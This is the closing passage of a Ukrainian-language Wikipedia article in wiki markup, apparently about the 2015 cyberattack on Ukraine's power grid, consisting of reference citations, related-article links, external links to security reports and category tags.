 | archive-url = https://web.archive.org/web/20180401121206/https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf
 }}
* {{cite book
 | url = http://www.boozallen.com/insights/2016/09/ukraine-cybersecurity-threat-briefing/
 | title = When The Lights Went Out
 | publisher = Booz Allen Hamilton
 | author = Nate Beach-Westmoreland, Jake Styczynski, Scott Stables
 | date = November 2016
 | accessdate = 11 листопада 2016
 | archiveurl = https://web.archive.org/web/20161111202950/http://www.boozallen.com/insights/2016/09/ukraine-cybersecurity-threat-briefing/
 | archivedate = 11 листопада 2016
 | deadurl = yes
 }}

; Загальна
* {{cite journal
 | author = Wei D, Yan L, Jafari M, Skare PM, Rohde K.
 | title = Protecting smart grid automation systems against cyberattacks
 | journal = IEEE Trans Smart Grid
 | year = 2011
 | issue = 2
 | volume = 4
 | doi = 10.1109/TSG.2011.2159999
 | pages = 782–795 }}
* книжка окрім описання [[Stuxnet]] та подій навколо його застосування, виявлення, дослідження, містить широкий огляд відомих кібератак на промислові [[АСУ ТП]] та об'єкти критичної інфраструктури
*: {{Cite book| publisher = Crown Publishers| isbn = 978-0-7704-3617-9 | last = Zetter| first = Kim| title = Countdown to Zero Day: Stuxnet and the launch of the world's first digital weapon| url = https://archive.org/details/countdowntozerod0000zett| location = New York| date = 2014}}

== Див. також ==
* [[Кібератака на Укренерго]] (грудень 2016 року)
* [[Російсько-українська кібервійна]]
* [[Розвинена стала загроза]]
* [[Електроенергетика України]]
* [[Duqu]]
* [[Удари по критичній інфраструктурі України під час російсько-української війни]]

== Посилання ==

* Кім Зеттер, [http://texty.org.ua/pg/article/newsmaker/read/66125/Hakerska_ataka_Rosiji_na_ukrajinsku_jenergosystemu_jak Хакерська атака Росії на українську енергосистему: як це було] {{Webarchive|url=https://web.archive.org/web/20220225152407/https://texty.org.ua/articles/66125/Hakerska_ataka_Rosiji_na_ukrajinsku_jenergosystemu_jak-66125/ |date=25 лютого 2022 }}. Тексти
** {{cite web
 | url = https://www.wired.com/2016/01/everything-we-know-about-ukraines-power-plant-hack/
 | title = Everything We Know About Ukraine’s Power Plant Hack
 | author = Kim Zetter
 | publisher = Wired
 | date = 20 січня 2016
 | accessdate = 21 липня 2016
 | archive-date = 15 серпня 2016
 | archive-url = https://web.archive.org/web/20160815132423/https://www.wired.com/2016/01/everything-we-know-about-ukraines-power-plant-hack/
 }}
** {{cite web
 | url = https://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/
 | title = Inside the Cunning, Unprecedented Hack of Ukraine’s Power Grid
 | author = Kim Zetter
 | publisher = Wired
 | date = 3 березня 2016
 | accessdate = 21 липня 2016
 | archive-date = 8 лютого 2021
 | archive-url = https://web.archive.org/web/20210208174448/https://www.wired.com/2016/03/inside-cunning-unprecedented-hack-ukraines-power-grid/
 }}
* ICS-CERT, [https://ics-cert.us-cert.gov/alerts/IR-ALERT-H-16-056-01 Cyber-Attack Against Ukrainian Critical Infrastructure (IR-ALERT-H-16-056-01)] {{Webarchive|url=https://web.archive.org/web/20160617080641/https://ics-cert.us-cert.gov/alerts/IR-ALERT-H-16-056-01 |date=17 червня 2016 }}
* Прикарпаттяобленерго, [https://web.archive.org/web/20160809211711/http://www.oe.if.ua/showarticle.php?id=3415 Прикарпатські енергетики оговтуються після кібератаки]
* Німецька Хвиля, [http://dw.com/p/1Ha4U Американські експерти: «Прикарпаттяобленерго» атакували російські хакери]
* Кібератака 17-18 грудня 2016 року
** Виступ Marina Krotofil та Oleksii Yasynskyi на конференції S4 Events, {{Youtube|id=lTwsDLO3C44|title=Cyber Attacks on Ukraine Power and Critical Infrastructure}} (15 лютого 2017 року)
** {{cite web
 | url = https://www.welivesecurity.com/2017/06/12/industroyer-biggest-threat-industrial-control-systems-since-stuxnet/
 | title = Industroyer: Biggest threat to industrial control systems since Stuxnet
 | author = Anton Cherepanov
 | date = 12 Jun 2017
 | publisher = We Live Security
 | accessdate = 13 червня 2017
 | archive-date = 14 червня 2017
 | archive-url = https://web.archive.org/web/20170614114156/https://www.welivesecurity.com/2017/06/12/industroyer-biggest-threat-industrial-control-systems-since-stuxnet/
 }}
** {{cite web
 | url = https://dragos.com/blog/crashoverride/
 | title = CRASHOVERRIDE
 | author = Robert M. Lee
 | date = June 12, 2017
 | publisher = Dragos
 | accessdate = 13 червня 2017
 | archive-date = 13 червня 2017
 | archive-url = https://web.archive.org/web/20170613232558/https://dragos.com/blog/crashoverride/
 }}

{{Російська збройна агресія проти України (2014‒2016)}}
{{ВП-портали|Інформаційні технології|}}

[[Категорія:Хакерські атаки в Україні]]
[[Категорія:Російсько-українська кібервійна]]
[[Категорія:2015 в Україні]]
[[Категорія:Грудень 2015]]
[[Категорія:Події 23 грудня]]
[[Категорія:Електроенергетика України]]
[[Категорія:Статті з прикладами коду мовою HTML]]
[[Категорія:Російсько-українська війна (з 2014)]]